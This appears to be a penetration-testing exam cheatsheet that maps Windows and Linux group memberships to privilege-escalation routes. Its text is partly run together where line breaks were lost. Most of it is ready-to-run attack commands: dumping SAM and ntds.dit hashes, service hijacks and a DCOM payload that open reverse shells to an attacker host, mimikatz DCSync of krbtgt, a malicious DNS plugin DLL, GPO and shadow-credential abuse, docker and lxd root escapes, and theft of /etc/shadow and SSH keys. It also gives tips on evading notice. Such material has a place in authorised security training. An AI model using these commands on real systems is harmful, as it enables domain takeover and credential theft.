SeBackupPrivilege and SeRestorePrivilege, and the right to log on to domain controllers locally. Read anything, write anything, on the DC included — both entries under privileges apply. The usual find is the DC's ntds.dit
reg save HKLM\SAM C:\Windows\Temp\sam & reg save HKLM\SYSTEM C:\Windows\Temp\system & reg save HKLM\SECURITY C:\Windows\Temp\securityimpacket-secretsdump -sam sam -system system -security security LOCALimpacket-smbserver x $workdir/loot -smb2supportimpacket-reg "$domain/$user1:$pass1@$dc" backup -o "\\\\$lhost\\x"impacket-secretsdump -sam $workdir/loot/SAM.save -system $workdir/loot/SYSTEM.save -security $workdir/loot/SECURITY.save LOCALthe diskshadow script and the robocopy are under SeBackupPrivilege. The machine account hash out of the SECURITY hive is a domain credential on its own, before you even get to ntds
diskshadow /s C:\Windows\Temp\shadow.dshrobocopy /b z:\Windows\NTDS C:\Windows\Temp\x ntds.ditreg save HKLM\SYSTEM C:\Windows\Temp\x\systemimpacket-secretsdump -ntds ntds.dit -system system LOCAL# SeRestorePrivilege, above — a service binary through robocopy /b, or SeRestoreAbuse.\SeRestoreAbuse.exe "C:\Windows\Temp\nc.exe $lhost $lport -e cmd"BUILTIN\Server Operators [3]exam: possible
on domain controllers only. Log on locally, start and stop services, and change their configuration — which is a service binpath of your choosing, running as SYSTEM, on the DC
pick one that is stopped and set to manual so nothing notices — VSS is the usual. Put the path back after
sc.exe qc VSSsc.exe config VSS binPath= "C:\Windows\Temp\nc.exe $lhost $lport -e cmd"sc.exe start VSSsc.exe config VSS binPath= "C:\Windows\system32\vssvc.exe"impacket-services "$domain/$user1:$pass1@$dc" change -name VSS -path "C:\Windows\Temp\nc.exe $lhost $lport -e cmd"impacket-services "$domain/$user1:$pass1@$dc" start -name VSSimpacket-services "$domain/$user1:$pass1@$dc" change -name VSS -path "C:\Windows\system32\vssvc.exe"SYSTEM on the DC is the domain. dcsync from there, or just read the proof
.\mimikatz.exe "lsadump::dcsync /domain:$domain /user:$domain\Administrator" exittype C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfigBUILTIN\Account Operators [3]exam: possible
create users and computers, and change any account or group that is not protected by AdminSDHolder and not in Builtin. Domain Admins, the Operators groups and Administrators are out of reach — DnsAdmins and every ordinary service account are not. The quiet route is DnsAdmins
net group "DnsAdmins" $user1 /add /domainbloodyAD --host $dc -d $domain -u $user1 -p $pass1 add groupMember DnsAdmins $user1any user outside the protected groups. A service account with an SPN is a good one — it is usually local admin somewhere
net user svc_sql 'Pass4Pentest1' /domainbloodyAD --host $dc -d $domain -u $user1 -p $pass1 set password svc_sql 'Pass4Pentest1'nxc smb $subnet -u svc_sql -p 'Pass4Pentest1'# new group membership lives in a new ticket — log off and on, or get a fresh TGT. Then the DnsAdmins entryklist purgeBUILTIN\Print Operators [1]exam: rare
on domain controllers — log on locally, and SeLoadDriverPrivilege. Which is the capcom driver and SYSTEM on the DC, if you can build the two binaries
whoami /priv | findstr /i SeLoadDriver.\EoPLoadDriver.exe System\CurrentControlSet\MyService C:\Windows\Temp\Capcom.sys && .\ExploitCapcom.exeBUILTIN\Remote Desktop Users [1]exam: none
rdp in. Not a privesc — but a desktop is what runas, the uac bypasses and the lock-screen swap need, so it changes which entries above apply
xfreerdp /v:$ip /u:$user1 /p:$pass1 /d:$domain /cert:ignore /dynamic-resolution +clipboard /drive:share,$workdir/.toolsBUILTIN\Remote Management Users [1]exam: none
winrm in. Not a privesc — but it is the unfiltered shell the Medium label entry sends you to get, and the one every "come back in" on the cheatsheet means
evil-winrm -i $ip -u $user1 -p $pass1nxc winrm $ip -u $user1 -p $pass1BUILTIN\Distributed COM Users [1]exam: rare
launch and activate DCOM objects on this host remotely. Together with local admin it is the MMC20 lateral move onto this box; on its own some DCOM applications can still be driven. Rare that it matters
$m = [Activator]::CreateInstance([Type]::GetTypeFromProgID("MMC20.Application.1","$ip2")); $m.Document.ActiveView.ExecuteShellCommand("powershell",$null,"-nop -w hidden -enc <base64>","7")impacket-dcomexec "$domain/$user1:$pass1@$ip2" -object MMC20BUILTIN\Event Log Readers [1]exam: rare
read the event logs, the security log included. Process creation events carry the command line when that audit is on, and people type passwords into commands. Logon events tell you where an admin is logged on
wevtutil qe Security /q:"*[System[(EventID=4688)]]" /f:text /rd:true | findstr /i "Process Command Line"Get-WinEvent -FilterHashtable @{LogName='Security';Id=4688} | % { $_.Properties[8].Value } | findstr /i "pass net user"Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624} | select -First 30 TimeCreated,@{n='user';e={$_.Properties[5].Value}},@{n='from';e={$_.Properties[18].Value}}wevtutil qe Security /r:$dc /q:"*[System[(EventID=4688)]]" /f:text | findstr /i "Command Line"BUILTIN\Hyper-V Administrators [2]exam: rare
full control of the virtual machines on this host. If a domain controller is one of them, its disk is readable from here — mount the vhdx and lift ntds.dit and SYSTEM out of it
Get-VM | select Name,StateGet-VMHardDiskDrive * | select VMName,Patha checkpoint gives you a consistent copy without stopping the VM. Mount it read-only and copy the two files out
Checkpoint-VM -Name DC01 -SnapshotName xMount-VHD -Path "C:\VMs\DC01\Virtual Hard Disks\DC01.vhdx" -ReadOnly -Passthru | Get-Disk | Get-Partition | Get-Volumerobocopy /b E:\Windows\NTDS C:\Windows\Temp\x ntds.ditrobocopy /b E:\Windows\System32\config C:\Windows\Temp\x SYSTEMRemove-VMSnapshot -VMName DC01 -Name x# on kali: impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCALBUILTIN\Users, Authenticated Users, Everyone [1]exam: likely
not a privilege — but the names to look for in icacls output. (F) or (M) for any of these on a service binary, its folder, a scheduled task's script or an autorun is the privesc. The services entries on the cheatsheet are built on it
icacls "C:\path\to\service.exe" | findstr /i "users everyone authenticated".\accesschk.exe /accepteula -uwcqv "Authenticated Users" *.\accesschk.exe /accepteula -uwdq "C:\Program Files"powershell -ep bypass -c ". .\PowerUp.ps1; Get-ModifiableServiceFile; Get-ModifiableService; Get-UnquotedService"docker-users [1]exam: rare
docker on windows. Whoever can talk to the daemon can run a container with the host's drive mounted, which is the host
docker run -it --rm -v C:\:C:\host mcr.microsoft.com/windows/nanoserver:ltsc2022 cmdtype C:\host\Users\Administrator\Desktop\proof.txtdomain
the domain groups that change something, as whoami /groups shows them with the domain in front
Domain Admins, Enterprise Admins, Administrators on the DC [1]exam: likely
you are done. dcsync for the record, proof on every box, screenshots as you go
impacket-secretsdump "$domain/$adminu:$adminp@$dc" -just-dc-ntlmnxc smb $subnet -u $adminu -p $adminp -X "type C:\Users\Administrator\Desktop\proof.txt; hostname; ipconfig"type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfigDomain Users, Domain Computers [1]exam: none
every account, every machine. Domain Users is what rid brute, the Pre-Windows 2000 reads and MachineAccountQuota rest on. Domain Computers means you are a machine account — a SYSTEM shell on a joined box — and its hash is a domain credential
# from SYSTEM on a joined box you are COMPUTER$ to the domain. Enumerate and roast as it.\SharpHound.exe -c All.\Rubeus.exe kerberoast /nowrap# its hash, for kali — lsadump::secrets prints $MACHINE.ACC.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::secrets" exitDomain Controllers, Enterprise Domain Controllers, Read-only Domain Controllers [1]exam: likely
you are a domain controller's machine account — SYSTEM on the DC. Replication rights come with it, so dcsync as the computer and the domain is done. A read-only DC's account cannot replicate, and is the one case where SYSTEM on a DC is not the end
.\mimikatz.exe "lsadump::dcsync /domain:$domain /user:$domain\krbtgt" exit.\mimikatz.exe "lsadump::dcsync /domain:$domain /user:$domain\Administrator" exit# or take the machine hash from lsadump::secrets and do it from kali as DC01$:impacket-secretsdump -hashes :<machine hash> "$domain/DC01\$@$dc" -just-dc-ntlmDnsAdmins [3]exam: possible
the DNS service on the DC loads a plugin dll named in its registry, and DnsAdmins can set the name. dns.exe runs as SYSTEM. The dll has to be on the DC itself since the late-2021 patch, and the service needs restarting — which DnsAdmins can usually do, and Server Operators always can
an adduser dll is quieter than a shell and survives dns.exe exiting. The cheatsheet's dll hijack card has the source
msfvenom -p windows/x64/exec cmd='net localgroup administrators $user1 /add' -f dll -o $workdir/.tools/dns.dllx86_64-w64-mingw32-gcc adduser.c --shared -o $workdir/.tools/dns.dlla share you can write on the DC, or a UNC path on an unpatched one. The restart is the part that fails when it fails — Server Operators can always do it
copy \\$lhost\share\dns.dll C:\Windows\Temp\dns.dlldnscmd $dc /config /serverlevelplugindll C:\Windows\Temp\dns.dlldnscmd $dc /config /serverlevelplugindll \\$lhost\share\dns.dllsc.exe \\$dc stop dns & sc.exe \\$dc start dnsleave the key in place and the DC's DNS breaks at every restart
net group "Domain Admins" /domainevil-winrm -i $dc -u $user1 -p $pass1reg delete HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll /fsc.exe \\$dc stop dns & sc.exe \\$dc start dnsGroup Policy Creator Owners [3]exam: possible
create group policy objects. Creating is not applying — the GPO also has to be linked to an OU, which needs WriteGPLink on the OU, or there is an existing GPO you can edit. Then it is a scheduled task as SYSTEM on every computer the GPO reaches, at the next gpupdate
Get-DomainGPO | select displayname,gpcfilesyspathGet-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'Write|GenericAll' -and $_.SecurityIdentifier -eq (Get-DomainUser $user1).objectsid }bloodyAD --host $dc -d $domain -u $user1 -p $pass1 get writable --otype GPO.\SharpGPOAbuse.exe --AddComputerTask --TaskName x --Author "$domain\$adminu" --Command cmd.exe --Arguments "/c net localgroup administrators $user1 /add" --GPOName "Default Domain Policy"python3 pygpoabuse.py "$domain/$user1:$pass1" -gpo-id <gpo guid> -command 'net localgroup administrators $user1 /add' -dc-ip $ipgpupdate /forceNew-GPO -Name x | New-GPLink -Target "OU=Workstations,DC=$(echo $domain | sed 's/\./,DC=/g')"# then the task as above, against GPOName x. The edges are on the bloodhound page — WriteGPLink, and GenericWrite on a GPOKey Admins, Enterprise Key Admins [1]exam: rare
write msDS-KeyCredentialLink on every user and computer in the domain. That is shadow credentials against any account, the DC's included — a certificate that logs on as them, without touching their password
certipy shadow auto -u "$user1@$domain" -p $pass1 -account Administrator -dc-ip $ipcertipy shadow auto -u "$user1@$domain" -p $pass1 -account 'DC01$' -dc-ip $ip# auto prints the NT hash. The rest is AddKeyCredentialLink on the bloodhound pageExchange Windows Permissions, Organization Management [1]exam: rare
the Exchange groups hold WriteDacl on the domain object. Grant yourself replication rights and dcsync. Exchange is not on the exam, but the groups turn up on boxes built from real-world images
bloodyAD --host $dc -d $domain -u $user1 -p $pass1 add dcsync $user1impacket-secretsdump "$domain/$user1:$pass1@$dc" -just-dc-ntlmbloodyAD --host $dc -d $domain -u $user1 -p $pass1 remove dcsync $user1Protected Users [1]exam: none
not a privilege — a restriction, and the reason pass-the-hash is failing for this account. No NTLM, no RC4, no delegation, four-hour tickets. Use kerberos with the password, or a different account
impacket-getTGT "$domain/$user1:$pass1" -dc-ip $ip && export KRB5CCNAME=$user1.ccacheimpacket-psexec -k -no-pass "$domain/$user1@$dc"Cert Publishers [1]exam: rare
write to the CA's certificate attributes in AD. In theory a CA certificate of your own in NTAuth, and every logon certificate is forgeable. Slow, rare, and certipy find will have shown an easier template first
certipy find -u "$user1@$domain" -p $pass1 -dc-ip $ip -vulnerable -stdoutlinux — id
the groups in id output, same idea. Each one here is a route to root on its own — none needs an exploit, and most are one command
uid=0(root) [1]exam: likely
you are root. Proof, then the hashes and keys for the report, then what this box knows about the next one
cat /root/proof.txt; id; hostname; ip acat /etc/shadow; ls -la /root/.ssh; cat /root/.ssh/id_* 2>/dev/nullcat /root/.bash_history /home/*/.bash_history 2>/dev/null; ip route; cat /etc/hostssudo, wheel, admin [2]exam: likely
the group the sudoers file usually points at. It wants your password — which you have if you logged in with one, and do not if you came in through the web app. Then it is sudo -l for a NOPASSWD rule, or password reuse from whatever the box has lying about
sudo -lsudo -n -lecho '$pass1' | sudo -S -lthe creds-lying-about entries on the cheatsheet. The database password from the web config is this user's password more often than it should be
grep -rEi "pass(word)?|pwd" /var/www /opt /home 2>/dev/null | grep -vE 'Binary|\.js:' | head -40cat ~/.bash_history ~/.mysql_history 2>/dev/nulldocker [1]exam: likely
talking to the daemon is root. Mount the host's / into any container and chroot into it
docker imagesdocker run -v /:/mnt --rm -it alpine chroot /mnt shdocker run -v /:/mnt --rm -it <any image listed above> chroot /mnt sh# no image and no internet — import an empty one, it needs no binaries because the host's are mountedtar cv --files-from /dev/null | docker import - empty && docker run -v /:/mnt --rm -it empty chroot /mnt shlxd, lxc [2]exam: likely
docker again, with a privileged container. It needs an image, so push a small one from kali when the box has none
lxc image list# on kali: git clone https://github.com/saghul/lxd-alpine-builder && cd lxd-alpine-builder && sudo ./build-alpine — then serve the tar.gz it makeswget http://$lhost:8000/alpine-v3.18-x86_64.tar.gz -O /tmp/alpine.tar.gzlxc image import /tmp/alpine.tar.gz --alias alpinelxc init alpine c -c security.privileged=truelxc config device add c h disk source=/ path=/mnt/root recursive=truelxc start c && lxc exec c /bin/sh# then: cat /mnt/root/root/proof.txt — or chmod +s /mnt/root/bin/bash and exit"No storage pool found" means it. Defaults are fine
lxd init --autodisk [1]exam: possible
read and write the block device directly, so the filesystem's permissions never apply. /etc/shadow and root's keys read straight off it
df -h /; lsblkdebugfs -R 'cat /etc/shadow' /dev/sda1debugfs -R 'cat /root/.ssh/id_rsa' /dev/sda1debugfs /dev/sda1# inside debugfs: ls /root cat /root/proof.txtadm [1]exam: possible
read everything in /var/log. Not root — but auth.log catches a password typed on the wrong line, and the web logs catch them in urls
grep -riE 'pass|pwd' /var/log 2>/dev/null | grep -v Binary | head -40grep -hE 'Failed password|Accepted|Invalid user' /var/log/auth.log | tail -40zgrep -hi 'pass' /var/log/apache2/*.gz /var/log/nginx/*.gz 2>/dev/null | headshadow [1]exam: possible
read /etc/shadow. Crack root's line, and every other account's — a password here is tried everywhere
cat /etc/shadowunshadow /etc/passwd /etc/shadow > $workdir/loot/unshadowed.mdjohn --wordlist=$rockyou $workdir/loot/unshadowed.mdhashcat -m 1800 $workdir/loot/shadow.md $rockyouvideo [1]exam: rare
read the framebuffer — a screenshot of whatever is on the console right now. Someone logged in at the keyboard is sometimes mid-password
cat /dev/fb0 > /tmp/screen.raw; cat /sys/class/graphics/fb0/virtual_size# on kali: open screen.raw in gimp as raw image data, width and height from virtual_sizewww-data, apache, nginx, nobody [1]exam: likely
you came in through the web app. Not a group that gets you anything — a user that owns the app's config, and the config has the database password, and the database password is a real user's password more often than not
find / -user $(whoami) -type f -not -path '/proc/*' -not -path '/sys/*' -not -path '/run/*' 2>/dev/null | head -40find /var/www /srv /opt \( -name '*config*' -o -name '.env' -o -name 'wp-config.php' -o -name 'settings.py' \) 2>/dev/null | xargs grep -iE 'pass|secret' 2>/dev/nullmysql -u root -p'<db password>' -e 'select user,authentication_string from mysql.user' 2>/dev/nullno matches